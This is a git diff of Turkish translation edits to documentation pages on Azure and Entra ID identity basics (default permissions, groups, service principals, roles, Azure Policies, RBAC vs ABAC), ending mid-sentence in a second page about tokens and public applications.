(_kapalı hale getirilebilir_) - Güvenlik grupları oluşturabilir - Gizli olmayan Grup üyeliklerini okuyabilir -- Sahip olunan gruplara misafir ekleyebilir +- Sahip olduğu gruplara misafir ekleyebilir - Yeni uygulama oluşturabilir (_kapalı hale getirilebilir_) -- Azure'a kadar 50 cihaza kadar ekleyebilir (_kapalı hale getirilebilir_) +- Azure'a 50'ye kadar cihaz ekleyebilir (_kapalı hale getirilebilir_) > [!NOTE] -> Azure kaynaklarını listelemek için kullanıcının izinlerin açık bir şekilde verilmesi gerekir. +> Azure kaynaklarını listelemek için kullanıcının izin verilmiş bir yetkiye sahip olması gerektiğini unutmayın. ### Kullanıcıların Varsayılan Yapılandırılabilir İzinleri - **Üyeler (**[**belgeler**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)** -- Uygulamaları Kaydet: Varsayılan **Evet** +- Uygulamaları kaydet: Varsayılan **Evet** - Yönetici olmayan kullanıcıların kiracı oluşturmasını kısıtla: Varsayılan **Hayır** - Güvenlik grupları oluştur: Varsayılan **Evet** - Microsoft Entra yönetim portalına erişimi kısıtla: Varsayılan **Hayır** @@ -105,15 +105,15 @@ Bunları [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-per - **Misafirler** - **Misafir kullanıcı erişim kısıtlamaları** - **Misafir kullanıcılar, üyelerle aynı erişime sahiptir** varsayılan olarak tüm üye kullanıcı izinlerini misafir kullanıcılara verir. -- **Misafir kullanıcılar, dizin nesnelerinin özelliklerine ve üyeliklerine sınırlı erişime sahiptir (varsayılan)** varsayılan olarak misafir erişimini yalnızca kendi kullanıcı profillerine kısıtlar. Diğer kullanıcılar ve grup bilgilerine erişim artık izin verilmez. -- **Misafir kullanıcı erişimi, kendi dizin nesnelerinin özelliklerine ve üyeliklerine kısıtlanmıştır** en kısıtlayıcı olanıdır. +- **Misafir kullanıcılar, dizin nesnelerinin özelliklerine ve üyeliklerine sınırlı erişime sahiptir (varsayılan)** varsayılan olarak misafir erişimini yalnızca kendi kullanıcı profilleriyle sınırlıdır. Diğer kullanıcılar ve grup bilgilerine erişim artık izin verilmez. +- **Misafir kullanıcı erişimi, kendi dizin nesnelerinin özelliklerine ve üyeliklerine sınırlıdır** en kısıtlayıcı olanıdır. - **Misafirler davet edebilir** -- **Kuruluşta herhangi biri, misafir kullanıcıları davet edebilir, misafirler ve yönetici olmayanlar dahil (en kapsayıcı) - Varsayılan** -- **Üye kullanıcılar ve belirli yönetici rollerine atanmış kullanıcılar, misafir kullanıcıları davet edebilir, misafirler ile üye izinleri dahil** -- **Sadece belirli yönetici rollerine atanmış kullanıcılar misafir kullanıcıları davet edebilir** +- **Kuruluşta herkes, misafir kullanıcıları davet edebilir, misafirler ve yönetici olmayanlar dahil (en kapsayıcı) - Varsayılan** +- **Üye kullanıcılar ve belirli yönetici rollerine atanmış kullanıcılar, misafir kullanıcıları davet edebilir, misafirler ile üye izinleriyle** +- **Sadece belirli yönetici rollerine atanmış kullanıcılar, misafir kullanıcıları davet edebilir** - **Kuruluşta hiç kimse, misafir kullanıcıları davet edemez, yöneticiler dahil (en kısıtlayıcı)** - **Dış kullanıcıların ayrılması**: Varsayılan **Doğru** -- Dış kullanıcıların kuruluşu terk etmesine izin verin +- Dış kullanıcıların kuruluşu terk etmesine izin ver > [!TIP] > Varsayılan olarak kısıtlanmış olsalar bile, izin verilmiş kullanıcılar (üyeler ve misafirler) önceki eylemleri gerçekleştirebilir. @@ -122,8 +122,8 @@ Bunları [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-per **2 tür grup** vardır: -- **Güvenlik**: Bu tür grup, üyelere uygulamalara, kaynaklara erişim vermek ve lisans atamak için kullanılır. Kullanıcılar, cihazlar, hizmet ilkeleri ve diğer gruplar üye olabilir. -- **Microsoft 365**: Bu tür grup, işbirliği için kullanılır, üyelere paylaşılan bir posta kutusuna, takvime, dosyalara, SharePoint sitesine vb. erişim verir. Grup üyeleri yalnızca kullanıcılar olabilir. +- **Güvenlik**: Bu tür grup, üyelere uygulamalara, kaynaklara erişim sağlamak ve lisans atamak için kullanılır. Kullanıcılar, cihazlar, hizmet ilkeleri ve diğer gruplar üye olabilir. +- **Microsoft 365**: Bu tür grup, işbirliği için kullanılır, üyelere paylaşılan bir posta kutusuna, takvime, dosyalara, SharePoint sitesine erişim sağlar. Grup üyeleri yalnızca kullanıcılar olabilir. - Bu, EntraID kiracısının alanıyla bir **e-posta adresine** sahip olacaktır. **2 tür üyelik** vardır: @@ -133,9 +133,9 @@ Bunları [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-per ### **Hizmet İlkeleri** -Bir **Hizmet İlkesi**, **uygulamalar**, barındırılan hizmetler ve otomatik araçlar ile Azure kaynaklarına erişim için **kullanım** amacıyla oluşturulmuş bir **kimliktir**. Bu erişim, hizmet ilkesine atanan rollerle **kısıtlanır**, böylece **hangi kaynakların erişilebileceği** ve hangi düzeyde erişileceği üzerinde kontrol sağlar. Güvenlik nedenleriyle, **hizmet ilkelerini otomatik araçlarla kullanmak** her zaman önerilir, kullanıcı kimliği ile giriş yapmalarına izin vermektense. +Bir **Hizmet İlkesi**, **uygulamalar**, barındırılan hizmetler ve Azure kaynaklarına erişim için otomatik araçlarla **kullanım** için oluşturulmuş bir **kimliktir**. Bu erişim, hizmet ilkesine atanan rollerle **kısıtlanır**, böylece **hangi kaynakların erişilebileceği** ve hangi düzeyde kontrol sağlanır. Güvenlik nedenleriyle, **hizmet ilkelerini otomatik araçlarla kullanmak** her zaman önerilir, kullanıcı kimliği ile giriş yapmalarına izin vermektense. -Bir hizmet ilkesine **doğrudan giriş yapmak** mümkündür; bunun için bir **gizli anahtar** (şifre), bir **sertifika** oluşturabilir veya üçüncü taraf platformlara (örneğin, Github Actions) **federasyon** erişimi verebilirsiniz. +Bir hizmet ilkesine **doğrudan giriş yapmak** mümkündür, bir **gizli anahtar** (şifre), bir **sertifika** oluşturarak veya üçüncü taraf platformlara (örneğin, Github Actions) **federasyon** erişimi vererek. - **Şifre** kimlik doğrulamasını (varsayılan olarak) seçerseniz, **oluşturulan şifreyi kaydedin** çünkü bir daha erişemezsiniz. - Sertifika kimlik doğrulamasını seçerseniz, **uygulamanın özel anahtara erişimi olduğundan emin olun**. @@ -148,22 +148,22 @@ Bir **Uygulama Kaydı**, bir uygulamanın Entra ID ile entegre olmasına ve eyle 1. **Uygulama Kimliği (İstemci Kimliği):** Azure AD'deki uygulamanız için benzersiz bir tanımlayıcı. 2. **Yeniden Yönlendirme URI'leri:** Azure AD'nin kimlik doğrulama yanıtlarını gönderdiği URL'ler. -3. **Sertifikalar, Gizli Anahtarlar ve Federasyon Kimlik Bilgileri:** Uygulamanın hizmet ilkesi olarak giriş yapması için bir gizli anahtar veya sertifika oluşturmak veya ona federasyon erişimi vermek mümkündür (örneğin, Github Actions). -4. Eğer bir **sertifika** veya **gizli anahtar** oluşturulursa, bir kişi **CLI araçlarıyla hizmet ilkesi olarak giriş yapabilir**; bunun için **uygulama kimliğini**, **gizli anahtarı** veya **sertifikayı** ve **kiracıyı** (alan veya kimlik) bilmesi gerekir. -5. **API İzinleri:** Uygulamanın erişebileceği kaynakları veya API'leri belirtir. -6. **Kimlik Doğrulama Ayarları:** Uygulamanın desteklediği kimlik doğrulama akışlarını tanımlar (örneğin, OAuth2, OpenID Connect). -7. **Hizmet İlkesi**: Bir Uygulama oluşturulduğunda (web konsolundan yapılırsa) veya yeni bir kiracıya yüklendiğinde bir hizmet ilkesi oluşturulur. -8. **Hizmet ilkesi**, yapılandırıldığı tüm istenen izinleri alır. +3. **Sertifikalar, Gizli Anahtarlar ve Federasyon Kimlik Bilgileri:** Uygulamanın hizmet ilkesine giriş yapmak için bir gizli anahtar veya sertifika oluşturmak veya ona federasyon erişimi vermek mümkündür (örneğin, Github Actions). +1. Eğer bir **sertifika** veya **gizli anahtar** oluşturulursa, bir kişi **hizmet ilkesi olarak giriş yapmak için** CLI araçlarıyla **uygulama kimliğini**, **gizli anahtarı** veya **sertifikayı** ve **kiracıyı** (alan veya kimlik) bilmesi gerekir. +4. **API İzinleri:** Uygulamanın erişebileceği kaynakları veya API'leri belirtir. +5. **Kimlik Doğrulama Ayarları:** Uygulamanın desteklediği kimlik doğrulama akışlarını tanımlar (örneğin, OAuth2, OpenID Connect). +6. **Hizmet İlkesi**: Bir Uygulama oluşturulduğunda (web konsolundan yapılırsa) veya yeni bir kiracıya yüklendiğinde bir hizmet ilkesi oluşturulur. +1. **Hizmet ilkesi**, yapılandırıldığı tüm istenen izinleri alır. ### Varsayılan Onay İzinleri **Uygulamalar için kullanıcı onayı** -- **Kullanıcı onayını kabul etme** +- **Kullanıcı onayını izin vermeyin** - Tüm uygulamalar için bir yönetici gerekecektir. -- **Doğrulanmış yayıncılardan, seçilen izinler için uygulamalar için kullanıcı onayına izin ver (Tavsiye Edilir)** +- **Doğrulanmış yayıncılardan, seçilen izinler için kullanıcı onayına izin verin (Tavsiye Edilir)** - Tüm kullanıcılar, "düşük etki" olarak sınıflandırılan izinler için, doğrulanmış yayıncılardan veya bu kuruluşta kayıtlı uygulamalar için onay verebilir. -- **Varsayılan** düşük etki izinleri (bunları düşük etki olarak eklemek için kabul etmeniz gerekir): +- **Varsayılan** düşük etki izinleri (bunları düşük olarak eklemek için kabul etmeniz gerekir): - User.Read - oturum açma ve kullanıcı profilini okuma - offline_access - kullanıcının erişim verdiği verilere erişimi sürdürme - openid - kullanıcıları oturum açtırma @@ -175,29 +175,29 @@ Bir **Uygulama Kaydı**, bir uygulamanın Entra ID ile entegre olmasına ve eyle **Yönetici onay talepleri**: Varsayılan **Hayır** - Kullanıcılar, onay veremedikleri uygulamalar için yönetici onayı talep edebilir -- Eğer **Evet**: Onay taleplerine onay verebilecek Kullanıcılar, Gruplar ve Roller belirtilebilir -- Kullanıcıların e-posta bildirimleri ve son kullanma hatırlatmaları alıp almayacaklarını da yapılandırın. +- Eğer **Evet**: Onay taleplerini onaylayabilecek kullanıcılar, Gruplar ve Roller belirtilebilir +- Kullanıcıların e-posta bildirimleri ve son kullanma hatırlatmaları alıp almayacaklarını da yapılandırın ### **Yönetilen Kimlik (Meta Veriler)** -Azure Active Directory'deki yönetilen kimlikler, uygulamaların kimliğini **otomatik olarak yönetme** çözümü sunar. Bu kimlikler, uygulamaların Azure Active Directory (**Azure AD**) kimlik doğrulaması ile uyumlu **kaynaklara** **bağlanmak** amacıyla kullanılır. Bu, uygulamanın **meta veri** hizmeti ile iletişim kurarak Azure'daki belirtilen yönetilen kimlik olarak **hareket etmek** için geçerli bir token almasını sağlar; böylece bulut kimlik bilgilerini kodda sabit kodlama ihtiyacını **ortadan kaldırır**. +Azure Active Directory'deki yönetilen kimlikler, uygulamaların kimliğini **otomatik olarak yönetme** çözümü sunar. Bu kimlikler, uygulamaların Azure Active Directory (**Azure AD**) kimlik doğrulaması ile uyumlu **kaynaklara** **bağlanmak** amacıyla kullanılır. Bu, uygulamanın **meta veri** hizmeti ile iletişim kurarak Azure'daki belirtilen yönetilen kimlik olarak **hareket etmek** için geçerli bir token almasını sağlar, böylece bulut kimlik bilgilerini kodda sabitleme ihtiyacını **ortadan kaldırır**. İki tür yönetilen kimlik vardır: -- **Sistem atamalı**. Bazı Azure hizmetleri, bir hizmet örneği üzerinde **yönetilen bir kimliği doğrudan etkinleştirmenize** olanak tanır. Sistem atamalı bir yönetilen kimliği etkinleştirdiğinizde, **hizmet ilkesi**, kaynağın bulunduğu abonluğu güvenen Entra ID kiracısında oluşturulur. **Kaynak** **silindiğinde**, Azure otomatik olarak sizin için **kimliği siler**. -- **Kullanıcı atamalı**. Kullanıcıların yönetilen kimlikler oluşturması da mümkündür. Bunlar, bir abonluk içindeki bir kaynak grubunun içinde oluşturulur ve EntraID'de abonluğu güvenen bir hizmet ilkesi oluşturulur. Daha sonra, yönetilen kimliği bir veya **daha fazla Azure hizmeti örneğine** (birden fazla kaynak) atayabilirsiniz. Kullanıcı atamalı yönetilen kimlikler için, **kimlik, onu kullanan kaynaklardan ayrı olarak yönetilir**. +- **Sistem atamalı**. Bazı Azure hizmetleri, bir hizmet örneği üzerinde **yönetilen bir kimliği doğrudan etkinleştirmenize** olanak tanır. Sistem atamalı bir yönetilen kimliği etkinleştirdiğinizde, **hizmet ilkesi**, kaynağın bulunduğu abonluğa güvenilen Entra ID kiracısında oluşturulur. **Kaynak** silindiğinde, Azure otomatik olarak **kimliği** sizin için **silmiştir**. +- **Kullanıcı atamalı**. Kullanıcıların yönetilen kimlikler oluşturması da mümkündür. Bunlar, bir abonelik içindeki bir kaynak grubunun içinde oluşturulur ve EntraID'ye güvenilen bir hizmet ilkesi oluşturulur. Daha sonra, yönetilen kimliği bir veya **daha fazla Azure hizmeti örneğine** (birden fazla kaynak) atayabilirsiniz. Kullanıcı atamalı yönetilen kimlikler için, **kimlik, onu kullanan kaynaklardan ayrı olarak yönetilir**. -Yönetilen Kimlikler, ona bağlı hizmet ilkesine erişim sağlamak için **sonsuz kimlik bilgileri** (şifreler veya sertifikalar gibi) oluşturmaz. +Yönetilen Kimlikler, ona bağlı hizmet ilkesine erişmek için **sonsuz kimlik bilgileri** (şifreler veya sertifikalar gibi) oluşturmaz. ### Kurumsal Uygulamalar Bu, yalnızca **hizmet ilkelerini filtrelemek ve atanmış uygulamaları kontrol etmek için Azure'da bir tablodur**. -**Bu, başka bir "uygulama" türü değildir**, Azure'da "Kurumsal Uygulama" olan herhangi bir nesne yoktur; bu, yalnızca Hizmet ilkelerini, Uygulama kayıtlarını ve yönetilen kimlikleri kontrol etmek için bir soyutlamadır. +**Bu, başka bir "uygulama" türü değildir**, Azure'da "Kurumsal Uygulama" olarak adlandırılan herhangi bir nesne yoktur, bu sadece Hizmet ilkelerini, Uygulama kayıtlarını ve yönetilen kimlikleri kontrol etmek için bir soyutlamadır. ### İdari Birimler -İdari birimler, **bir rol üzerinden bir organizasyonun belirli bir bölümüne izinler vermeye** olanak tanır. +İdari birimler, **bir rol üzerinden bir organizasyonun belirli bir bölümüne izin vermeye** olanak tanır. Örnek: @@ -209,23 +209,23 @@ Bu, yalnızca **hizmet ilkelerini filtrelemek ve atanmış uygulamaları kontrol - AU'lar **dinamik üyelikleri** destekler. - AU'lar **AU içeremez**. - Yönetici Rolleri Atayın: -- "Kullanıcı Yöneticisi" rolünü bölgesel BT personeline, kendi bölgelerinin AU'suna göre verin. +- Bölgesel BT personeline, kendi bölgesinin AU'suna kapsamlı "Kullanıcı Yöneticisi" rolünü verin. - Sonuç: Bölgesel BT yöneticileri, diğer bölgeleri etkilemeden kendi bölgelerindeki kullanıcı hesaplarını yönetebilir. ### Entra ID Rolleri -- Entra ID'yi yönetmek için Entra ID ilkelerine atanabilecek bazı **yerleşik roller** vardır. +- Entra ID'yi yönetmek için, Entra ID'yi yönetmek üzere Entra ID prensiplerine atanabilecek bazı **yerleşik roller** vardır. - Rolleri [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference) adresinde kontrol edin. -- En yüksek ayrıcalıklı rol **Küresel Yönetici**dir. +- En yetkili rol **Küresel Yönetici**dir. - Rolün Tanımında, **ayrıntılı izinlerini** görebilirsiniz. -## Roller ve İzinler +## Roller & İzinler -**Roller**, **ilkeler** üzerinde bir **kapsamda** **atanır**: `ilkeler -[ROLÜ VAR]->(kapsam)` +**Roller**, **prensiplere** bir **kapsamda** atanır: `prensip -[ROLÜ VAR]->(kapsam)` **Gruplara** atanan **roller**, grubun tüm **üyeleri** tarafından **devralınır**. -Rolün atandığı kapsamına bağlı olarak, **rol**, kapsam konteyneri içindeki **diğer kaynaklara** **devralınabilir**. Örneğin, bir A kullanıcısının bir **abonelikte rolü** varsa, o **rolü, abonelik içindeki tüm kaynak gruplarında** ve **kaynak grubundaki tüm kaynaklarda** olacaktır. +Rolün atandığı kapsamına bağlı olarak, **rol** kapsam konteyneri içindeki **diğer kaynaklara** **devralınabilir**. Örneğin, bir kullanıcı A'nın bir **abonelikte rolü** varsa, o **rolü, abonelik içindeki tüm kaynak gruplarında** ve **kaynak grubundaki tüm kaynaklarda** olacaktır. ### **Klasik Roller** @@ -237,15 +237,15 @@ Rolün atandığı kapsamına bağlı olarak, **rol**, kapsam konteyneri içinde ### Yerleşik roller -[Belgelerden: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure rol tabanlı erişim kontrolü (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) kullanıcılar, gruplar, hizmet ilkeleri ve yönetilen kimlikler için **atanabilecek** birkaç Azure **yerleşik rolü** vardır. Rol atamaları, **Azure kaynaklarına erişimi kontrol etmenin** yoludur. Yerleşik roller, kuruluşunuzun özel ihtiyaçlarını karşılamıyorsa, kendi [**Azure özel rollerinizi**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)** oluşturabilirsiniz.** +[Belgelerden: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure rol tabanlı erişim kontrolü (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) birçok Azure **yerleşik rolü** vardır ve bunları **kullanıcılara, gruplara, hizmet ilkelerine ve yönetilen kimliklere** **atanabilir**. Rol atamaları, **Azure kaynaklarına erişimi kontrol etmenin** yoludur. Yerleşik roller, kuruluşunuzun özel ihtiyaçlarını karşılamıyorsa, kendi [**Azure özel rollerinizi**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)** oluşturabilirsiniz.** -**Yerleşik** roller yalnızca **amaçlandıkları kaynaklara** uygulanır; örneğin, **Hesaplama** kaynakları üzerindeki bu 2 yerleşik rol örneğine bakın: +**Yerleşik** roller yalnızca **amaçlandıkları kaynaklara** uygulanır, örneğin, **Hesaplama** kaynakları üzerindeki bu 2 yerleşik rol örneğine bakın: | [Disk Yedekleme Okuyucusu](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Disk yedeklemesi gerçekleştirmek için yedekleme kasasına izin verir. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ | -| [Sanal Makine Kullanıcı Girişi](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Portaldaki Sanal Makineleri görüntüleyin ve normal bir kullanıcı olarak giriş yapın. | fb879df8-f326-4884-b1cf-06f3ad86be52 | +| [Sanal Makine Kullanıcı Girişi](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Portaldaki Sanal Makineleri görüntüleyin ve normal bir kullanıcı olarak oturum açın. | fb879df8-f326-4884-b1cf-06f3ad86be52 | -Bu roller, **mantıksal konteynerler** (yönetim grupları, abonelikler ve kaynak grupları gibi) üzerinde de atanabilir ve etkilenen ilkeler, **bu konteynerler içindeki kaynaklar üzerinde** olacaktır. +Bu roller, **mantıksal konteynerler** (yönetim grupları, abonelikler ve kaynak grupları gibi) üzerinde de atanabilir ve etkilenen prensipler, **bu konteynerler içindeki kaynaklar üzerinde** bu rollere sahip olacaktır. - Burada [**tüm Azure yerleşik rollerinin**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles) bir listesini bulabilirsiniz. - Burada [**tüm Entra ID yerleşik rollerinin**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference) bir listesini bulabilirsiniz. @@ -256,7 +256,7 @@ Bu roller, **mantıksal konteynerler** (yönetim grupları, abonelikler ve kayna - Bunlar bir kapsam içinde oluşturulur, ancak bir rol birden fazla kapsamda (yönetim grupları, abonelikler ve kaynak grupları) olabilir. - Özel rolün sahip olacağı tüm ayrıntılı izinleri yapılandırmak mümkündür. - İzinleri hariç tutmak mümkündür. -- Hariç tutulan bir izne sahip bir ilke, izin başka bir yerde verilse bile onu kullanamaz. +- Hariç tutulan bir izne sahip bir prensip, izin başka bir yerde verilse bile onu kullanamaz. - Joker karakterler kullanmak mümkündür. - Kullanılan format bir JSON'dur. - `actions`, kaynak üzerindeki kontrol eylemleri içindir. @@ -294,25 +294,25 @@ Bu roller, **mantıksal konteynerler** (yönetim grupları, abonelikler ve kayna ``` ### İzinler sırası -- Bir **temsilcinin bir kaynağa erişim hakkı olması için** ona açık bir rol verilmesi gerekir (herhangi bir şekilde) **ona bu izni veren**. -- Açık bir **reddetme rolü ataması, izni veren rolün önceliğine sahiptir**. +- Bir **prensibin bir kaynağa erişim hakkı olması için** ona açık bir rol verilmesi gerekir (herhangi bir şekilde) **ona bu izni veren**. +- Açık bir **reddetme rol ataması, izni veren rolün önceliğine sahiptir**.

https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10

### Küresel Yöneticisi -Küresel Yöneticisi, **Entra ID kiracısı üzerinde tam kontrol sağlayan** Entra ID'den bir roldür. Ancak, varsayılan olarak Azure kaynakları üzerinde herhangi bir izin vermez. +Küresel Yöneticisi, **Entra ID kiracısı üzerinde tam kontrol sağlayan** bir Entra ID rolüdür. Ancak, varsayılan olarak Azure kaynakları üzerinde herhangi bir izin vermez. -Küresel Yöneticisi rolüne sahip kullanıcılar, **Kök Yönetim Grubu'nda Kullanıcı Erişim Yöneticisi Azure rolüne 'yükseltme' yapma** yeteneğine sahiptir. Bu nedenle, Küresel Yöneticiler **tüm Azure aboneliklerinde ve yönetim gruplarında erişimi yönetebilir.**\ +Küresel Yöneticisi rolüne sahip kullanıcılar, **Kök Yönetim Grubu'nda Kullanıcı Erişim Yöneticisi Azure rolüne 'yükseltme'** yeteneğine sahiptir. Böylece Küresel Yöneticiler, **tüm Azure aboneliklerinde ve yönetim gruplarında erişimi yönetebilir.**\ Bu yükseltme sayfanın sonunda yapılabilir: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
### Azure Politikaları -**Azure Politikaları**, organizasyonların kaynaklarının belirli standartlara ve uyumluluk gereksinimlerine uygun olmasını sağlamalarına yardımcı olan kurallardır. Bu politikalar, **Azure'daki kaynaklar üzerinde ayarları uygulamanıza veya denetlemenize** olanak tanır. Örneğin, yetkisiz bir bölgede sanal makinelerin oluşturulmasını engelleyebilir veya tüm kaynakların izleme için belirli etiketlere sahip olmasını sağlayabilirsiniz. +**Azure Politikaları**, organizasyonların kaynaklarının belirli standartlara ve uyumluluk gereksinimlerine uygun olmasını sağlamaya yardımcı olan kurallardır. Bu politikalar, **Azure'daki kaynaklar üzerinde ayarları uygulamanıza veya denetlemenize** olanak tanır. Örneğin, yetkisiz bir bölgede sanal makinelerin oluşturulmasını engelleyebilir veya tüm kaynakların izleme için belirli etiketlere sahip olmasını sağlayabilirsiniz. -Azure Politikaları **proaktiftir**: uyumsuz kaynakların oluşturulmasını veya değiştirilmesini durdurabilirler. Ayrıca **reaktif** olup, mevcut uyumsuz kaynakları bulmanıza ve düzeltmenize olanak tanır. +Azure Politikaları **proaktiftir**: uyumsuz kaynakların oluşturulmasını veya değiştirilmesini durdurabilir. Ayrıca **reaktif** olup, mevcut uyumsuz kaynakları bulmanıza ve düzeltmenize olanak tanır. #### **Anahtar Kavramlar** @@ -323,12 +323,12 @@ Azure Politikaları **proaktiftir**: uyumsuz kaynakların oluşturulmasını vey **Bazı örnekler:** -1. **Belirli Azure Bölgeleri ile Uyum Sağlama**: Bu politika, tüm kaynakların belirli Azure bölgelerinde dağıtılmasını sağlar. Örneğin, bir şirket tüm verilerinin GDPR uyumluluğu için Avrupa'da saklandığından emin olmak isteyebilir. -2. **İsimlendirme Standartlarını Uygulama**: Politikalar, Azure kaynakları için isimlendirme kurallarını uygulayabilir. Bu, kaynakların isimlerine göre düzenlenmesine ve kolayca tanımlanmasına yardımcı olur, bu da büyük ortamlarda faydalıdır. +1. **Belirli Azure Bölgeleri ile Uyum Sağlama**: Bu politika, tüm kaynakların belirli Azure bölgelerinde dağıtılmasını sağlar. Örneğin, bir şirket tüm verilerinin GDPR uyumluluğu için Avrupa'da saklanmasını isteyebilir. +2. **İsimlendirme Standartlarını Uygulama**: Politikalar, Azure kaynakları için isimlendirme kurallarını uygulayabilir. Bu, büyük ortamlarda kaynakları düzenlemeye ve isimlerine göre kolayca tanımlamaya yardımcı olur. 3. **Belirli Kaynak Türlerini Kısıtlama**: Bu politika, belirli türde kaynakların oluşturulmasını kısıtlayabilir. Örneğin, maliyetleri kontrol etmek için belirli VM boyutları gibi pahalı kaynak türlerinin oluşturulmasını engelleyen bir politika ayarlanabilir. -4. **Etiketleme Politikalarını Uygulama**: Etiketler, kaynak yönetimi için kullanılan Azure kaynaklarıyla ilişkili anahtar-değer çiftleridir. Politikalar, belirli etiketlerin mevcut olmasını veya tüm kaynaklar için belirli değerlere sahip olmasını zorunlu kılabilir. Bu, maliyet takibi, sahiplik veya kaynakların kategorize edilmesi için faydalıdır. +4. **Etiketleme Politikalarını Uygulama**: Etiketler, kaynak yönetimi için kullanılan Azure kaynakları ile ilişkili anahtar-değer çiftleridir. Politikalar, belirli etiketlerin mevcut olmasını veya tüm kaynaklar için belirli değerlere sahip olmasını zorunlu kılabilir. Bu, maliyet takibi, sahiplik veya kaynakların kategorize edilmesi için faydalıdır. 5. **Kaynaklara Kamu Erişimini Sınırlama**: Politikalar, belirli kaynakların, örneğin depolama hesapları veya veritabanlarının, kamu uç noktalarına sahip olmamasını zorunlu kılabilir, böylece yalnızca organizasyonun ağı içinde erişilebilir olmalarını sağlar. -6. **Güvenlik Ayarlarını Otomatik Uygulama**: Politikalar, kaynaklara otomatik olarak güvenlik ayarları uygulamak için kullanılabilir, örneğin tüm VM'lere belirli bir ağ güvenlik grubunu uygulamak veya tüm depolama hesaplarının şifreleme kullanmasını sağlamak. +6. **Güvenlik Ayarlarını Otomatik Olarak Uygulama**: Politikalar, tüm VM'lere belirli bir ağ güvenlik grubunu uygulamak veya tüm depolama hesaplarının şifreleme kullanmasını sağlamak gibi kaynaklara güvenlik ayarlarını otomatik olarak uygulamak için kullanılabilir. Azure Politikalarının Azure hiyerarşisinin herhangi bir seviyesine eklenebileceğini, ancak genellikle **kök yönetim grubunda** veya diğer yönetim gruplarında kullanıldığını unutmayın. @@ -360,11 +360,11 @@ Bu hiyerarşik yapı, erişim izinlerinin verimli ve ölçeklenebilir bir şekil ### Azure RBAC vs ABAC -**RBAC** (rol tabanlı erişim kontrolü), önceki bölümlerde zaten gördüğümüz şeydir: **Bir kaynağa erişim vermek için bir ilkeye rol atamak**.\ +**RBAC** (rol tabanlı erişim kontrolü), önceki bölümlerde gördüğümüz şeydir: **Bir kaynağa erişim sağlamak için bir ilkeye rol atamak**.\ Ancak, bazı durumlarda **daha ince ayrıntılı erişim yönetimi** sağlamak veya **yüzlerce** rol **atanmasını** yönetimini **basitleştirmek** isteyebilirsiniz. -Azure **ABAC** (özellik tabanlı erişim kontrolü), belirli eylemler bağlamında **özelliklere dayalı rol atama koşulları** ekleyerek Azure RBAC üzerine inşa edilmiştir. Bir _rol atama koşulu_, **rol atamanıza isteğe bağlı olarak ekleyebileceğiniz ek bir kontrol**'dür ve daha ince ayrıntılı erişim kontrolü sağlar. Bir koşul, rol tanımı ve rol ataması parçası olarak verilen izinleri filtreler. Örneğin, **bir nesneyi okumak için nesnenin belirli bir etikete sahip olmasını gerektiren bir koşul ekleyebilirsiniz**.\ -**Koşullar** kullanarak belirli kaynaklara **erişimi açıkça **reddedemezsiniz**. +Azure **ABAC** (özellik tabanlı erişim kontrolü), belirli eylemler bağlamında **özelliklere dayalı rol atama koşulları** ekleyerek Azure RBAC üzerine inşa edilmiştir. Bir _rol atama koşulu_, **rol atamanıza ekleyebileceğiniz isteğe bağlı bir ek kontrol** olup daha ince ayrıntılı erişim kontrolü sağlar. Bir koşul, rol tanımı ve rol ataması parçası olarak verilen izinleri filtreler. Örneğin, **bir nesneyi okumak için nesnenin belirli bir etikete sahip olmasını gerektiren bir koşul ekleyebilirsiniz**.\ +Belirli kaynaklara **koşullar kullanarak** **erişimi** açıkça **reddedemezsiniz**. ## Referanslar diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index beb620482..a600f97aa 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -1,4 +1,4 @@ -# Az - Tokens & Public Applications +# Az - Tokenlar ve Kamu Uygulamaları {{#include ../../../banners/hacktricks-training.md}} @@ -13,7 +13,7 @@ Entra ID, Microsoft'un bulut tabanlı kimlik ve erişim yönetimi (IAM) platform 1. **Kaynak Sunucusu (RS):** Kaynak sahibine ait kaynakları korur. 2. **Kaynak Sahibi (RO):** Genellikle korunan kaynaklara sahip olan son kullanıcıdır. 3. **İstemci Uygulaması (CA):** Kaynak sahibinin adına kaynaklara erişim talep eden bir uygulamadır. -4. **Yetkilendirme Sunucusu (AS):** İstemci uygulamalarına erişim belirteçleri verir, bunları kimlik doğrulama ve yetkilendirme işlemlerinden sonra. +4. **Yetkilendirme Sunucusu (AS):** İstemci uygulamalarına erişim tokenları verir, bunları kimlik doğruladıktan ve yetkilendirdikten sonra. **Kapsamlar ve Onay:** @@ -24,39 +24,39 @@ Entra ID, Microsoft'un bulut tabanlı kimlik ve erişim yönetimi (IAM) platform - Microsoft 365, IAM için Azure AD'yi kullanır ve birden fazla "birinci taraf" OAuth uygulamasından oluşur. - Bu uygulamalar derinlemesine 